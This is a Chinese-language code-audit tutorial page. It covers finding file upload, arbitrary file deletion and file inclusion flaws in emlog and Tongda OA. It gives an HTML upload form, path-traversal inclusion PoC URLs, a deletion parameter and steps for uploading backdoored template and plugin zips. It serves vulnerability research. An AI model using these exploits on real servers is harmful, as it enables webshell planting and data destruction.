当前位置: 首页 > news >正文

Day106:代码审计-PHP原生开发篇文件安全上传监控功能定位关键搜索1day挖掘

目录

emlog-文件上传&文件删除

emlog-模板文件上传

emlog-插件文件上传

emlog-任意文件删除

通达OA-文件上传&文件包含


知识点:

PHP审计-原生开发-文件上传&文件删除-Emlog
PHP审计-原生开发-文件上传&文件包含-通达OA

emlog-文件上传&文件删除

文件安全挖掘点:

1、脚本文件名:upload.php、up.php、upfile.php、del.php、delfile.php、down.php、downfile.php 、read.php、readfile.php

2、应用功能点:下载,上传,读取,删除   --> URL路径 --> 文件地方代码 --> 分析

如果功能点可以作为漏洞的强特征,就可以通过找功能点来找漏洞

3、操作关键字:直接搜索操作类函数或变量:$_FILES  move_upload_file ; 还有 上传文件,删除文件,安装文件,上传成功,上传失败等

搜索不到:文件路径也可能写入数据库了

emlog-模板文件上传

搜索函数关键字或应用关键字:

流程:搜$_FILES->template.php->upload_zip->emUnZip

流程:搜安装或上传等->template.php->upload_zip->emUnZip

https://www.cnvd.org.cn/flaw/show/CNVD-2023-74536

这个路东并不是说文件里面存在上传漏洞,因为在软件、应用程序或网站的开发中,/templates 目录通常是用来存放模板文件的地方。模板文件用于定义数据显示的结构和布局,是一种将内容和表现分离的设计手段。

意思应该上传模板文件存在漏洞

修改参数 tpl 即可更换模板

模板文件存放路径 

搜$_FILES

搜索上传

定位到文件 /admin/template.php

搜索安装模板,在 /view/template.php,可以根据 MVC 架构特点,在 /admin/template.php 处理试图

MVC 架构是一种用于设计软件应用的模式,尤其是在图形用户界面(GUI)的应用程序开发中广泛采用。MVC 代表 Model-View-Controller,这三个组件是MVC架构的核心,它们各自承担着不同的职责,使得应用程序的开发、维护和扩展变得更加容易和清晰。

  1. Model(模型):模型代表的是应用程序的数据结构,通常模型对象负责在数据库中存取数据。它包含了数据的处理逻辑,例如计算或数据校验等。模型是独立于用户界面的,因此模型的改变通常不直接影响视图的显示。模型提供了一种方式来操作应用程序的数据,以及将这些数据转化为有用的信息。
  2. View(视图):视图是应用程序中用户界面的部分。它负责将数据(即模型)以图形界面的形式展现给用户。视图仅仅展示数据,不包含业务逻辑。换句话说,视图是模型的可视化表示。当模型的状态发生变化时,视图可以更新其展示的内容,反映最新的信息。
  3. Controller(控制器):控制器是模型与视图之间的协调者。它接收用户的输入(例如,鼠标点击和键盘输入),并决定如何处理这些输入。例如,控制器可以决定响应用户的某个动作来修改模型的状态或更新视图。控制器将用户的输入转化为模型的更新和视图的操作,确保模型和视图的同步。

进入 emDirect() 函数

$r = explode('/', $zip->getNameIndex(0), 2);

getNameIndex(0) 方法调用是ZipArchive类的一个功能,它接受一个整数作为参数(在这个例子中是0),这个参数指定了ZIP文件中条目的索引。此方法返回该索引对应的条目的名称,即ZIP文件中第一个文件或文件夹的名称。如果ZIP文件为空或指定的索引不存在,此方法将返回FALSE。

explode('/', $zip->getNameIndex(0), 2) 函数是PHP中用于将字符串拆分为数组的内置函数。这里,它被用来将getNameIndex(0)返回的第一个条目名称按照'/'(正斜杠)分隔符进行分割。参数2表示最多分割为两部分,这意味着如果存在多个'/',只分割第一个,将结果分为两个元素的数组。

$dir = isset($r[0]) ? $r[0] . '/' : '';

这行PHP代码是在处理由前一行代码$r = explode('/', $zip->getNameIndex(0), 2);生成的数组$r。具体来说,它在确定并构建一个表示目录路径的字符串。

代码解析如下:

  1. isset($r[0]):这个函数检查数组$r中是否有索引为0的元素。由于explode函数至少会返回一个元素的数组(除非传递的是空字符串),通常情况下索引0是存在的。如果$zip->getNameIndex(0)返回的是以/开头的路径,那么$r[0]将是一个空字符串。
  2. ? $r[0] . '/':这是三元运算符的中间部分。如果isset($r[0])为true(即$r[0]存在),那么取出数组$r中索引为0的元素,并在其后添加一个正斜杠'/'。这通常用来确保得到的路径是一个目录路径。
  3. : '':这是三元运算符的最后部分。如果isset($r[0])为false(即$r[0]不存在),则目录字符串设为一个空字符串。
  4. $dir:这是存储最终目录字符串的变量。如果数组$r中存在索引0,那么$dir将是该值加上一个尾随正斜杠(表示目录)。如果不存在,$dir就是空字符串。

综上所述,这行代码用于从ZIP压缩包中提取的第一个文件(或目录)的路径,获取它的目录部分,并确保这个目录字符串以正斜杠结束。这在处理ZIP文件中的条目时,用于构建路径、创建目录结构或进行路径检查时非常有用。

此处上传模板存在文件上传漏洞且没有过滤。

如何利用?

  1. 压缩默认模版目录
  2. 压缩一个带后门模版
  3. 上传带后门模版压缩包

制作模板压缩包,文件目录如下:

test.php内部是一个后门

上传常规,出现 test 模板

模板压缩包制作可知压缩一下defualt或者下载一个看看目录结构

emlog-插件文件上传

流程:搜$_FILES->plugin.php->upload_zip->emUnZip

流程:搜安装或上传等->plugin.php->upload_zip->emUnZip

https://www.cnvd.org.cn/flaw/show/CNVD-2023-74535

定位到 /admin/plugin.php

制作插件压缩包

上传成功

emlog-任意文件删除

流程:搜unlink->data.php->action=dell_all_bak->bak[]

https://www.cnvd.org.cn/flaw/show/CNVD-2021-41633

1、/admin/data.php?action=dell_all_bak

2、bak[1]=../xxx.php

删除成功!

通达OA-文件上传&文件包含

安装,双击运行即可

安装后的目录

控制中心在 /bin 目录下

Web目录

IDEA打开源码,发现源码加密

解决办法:

  1. 方法一:找关键字,如上图中,可能在前面,中间,后米娜,之后百度搜索,看看是什么加密,再看看能否解密
  2. 方法二:直接搜索该OA版本的加密

开始时使用Zend解密出现闪退,原因:(1) 内存不够   (2)代码资源被占用
退出IDEA即可解决
等待IDEA更新索引

流程:找文件名->绕验证P->DEST_UID,UPLOAD_MOD->构ATTACHMENT

文件上传(文件名称):/webroot/ispirit/im/upload.php

流程:搜include_once->gateway.php->$url->$key->$json

文件包含(include_once):/ispirit/interface/gateway.php

这个漏洞的挖掘时是艰难的,项目太大了,需要时间慢慢测试,才发现到upload.php,使用搜索的方式结果太多了。实战中,大型的程序挖掘需要时间。也可以使用动态分析的技术,配合使用。
接收参数 p 

经由上述分析,构造符合条件的文件上传:
  1. 设置P参数不为0
  2. 设置DEST_UID参数为1
  3. 设置UPLOAD_MODE参数为1,2,3
  4. 设置上传文件参数名为ATTACHMENT
<html>
<body>
<form action="http://127.0.0.1/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name="P" value=1></input>
<input type="text"name="UPLOAD_MODE" value=1></input>
<input type="text" name="DEST_UID" value=1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

文件监控:file-jiankong.py,方便监控获取文件上传到什么地方

使用:直接放到文件的根目录下,就可以监视该文件夹下的文件变化,可以快速找到文件上传到那个目录了

txt 里面是后门代码 

这个文件是不可访问的,没有权限,因为再 Web 目录的外面

思路:配合文件包含后门代码,需要满足参数参数可控,没过滤

poc1:/ispirit/interface/gateway.php?json={}&url=/general/../../attach/im/2310/1600449966.1.txt
poc2:/ispirit/interface/gateway.php?json={}&url=/ispirit/../../attach/im/2310/1600449966.1.txt
poc3:/ispirit/interface/gateway.php?json={}&url=/module/../../attach/im/2310/1600449966.1.txt

但是又碰到一个问题

没有回显,解决办法:webshell 连接,把结果写入到别的文件里,再访问。

相关文章:

  • 【Web】2024红明谷CTF初赛个人wp(2/4)
  • 场景文本检测识别学习 day02(AlexNet论文阅读、ResNet论文精读)
  • 【话题:工作生活】2022年工作总结--疫情下的上海,疫情中的我。
  • 大语言模型如何工作?
  • PTA 位运算
  • ffmpeg 从现有视频中截取一段
  • 【Node.js】短链接
  • 无线游戏手柄的测试(Windows11系统手柄调试方法)
  • 构建高可用性数据库架构:深入探索Oracle Active Data Guard(ADG)
  • 【Leetcode每日一题】 递归 - 二叉树剪枝(难度⭐⭐)(50)
  • DataLoader的使用
  • RabbitMQ3.13.x之七_RabbitMQ消息队列模型
  • 如何在Flutter应用中配置ipa Guard进行混淆
  • Spring之事务底层源码解析
  • 懒人必备!4个PS抠图技巧,让你轻松处理复杂背景!
  • 实现windows 窗体的自己画,网上摘抄的,学习了
  • “Material Design”设计规范在 ComponentOne For WinForm 的全新尝试!
  • 【407天】跃迁之路——程序员高效学习方法论探索系列(实验阶段164-2018.03.19)...
  • 【Redis学习笔记】2018-06-28 redis命令源码学习1
  • download使用浅析
  • Netty源码解析1-Buffer
  • VUE es6技巧写法(持续更新中~~~)
  • 对象引论
  • 关于extract.autodesk.io的一些说明
  • 海量大数据大屏分析展示一步到位:DataWorks数据服务+MaxCompute Lightning对接DataV最佳实践...
  • 基于Javascript, Springboot的管理系统报表查询页面代码设计
  • 开源SQL-on-Hadoop系统一览
  • 类orAPI - 收藏集 - 掘金
  • 批量截取pdf文件
  • 云大使推广中的常见热门问题
  • MPAndroidChart 教程:Y轴 YAxis
  • ​​​​​​​Installing ROS on the Raspberry Pi
  • ​LeetCode解法汇总518. 零钱兑换 II
  • ​一帧图像的Android之旅 :应用的首个绘制请求
  • #Linux(Source Insight安装及工程建立)
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第5节(封闭类和Final方法)
  • (MATLAB)第五章-矩阵运算
  • (差分)胡桃爱原石
  • (九)信息融合方式简介
  • (转载)从 Java 代码到 Java 堆
  • .bat文件调用java类的main方法
  • .net core 源码_ASP.NET Core之Identity源码学习
  • .net开发时的诡异问题,button的onclick事件无效
  • .NET命令行(CLI)常用命令
  • .Net转前端开发-启航篇,如何定制博客园主题
  • // an array of int
  • [ C++ ] STL---仿函数与priority_queue
  • [ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149
  • []sim300 GPRS数据收发程序
  • [AIGC] 使用Curl进行网络请求的常见用法
  • [Angular] 笔记 6:ngStyle
  • [BZOJ2850]巧克力王国
  • [C#]winform部署yolov5-onnx模型
  • [c++] 自写 MyString 类
  • [codevs1288] 埃及分数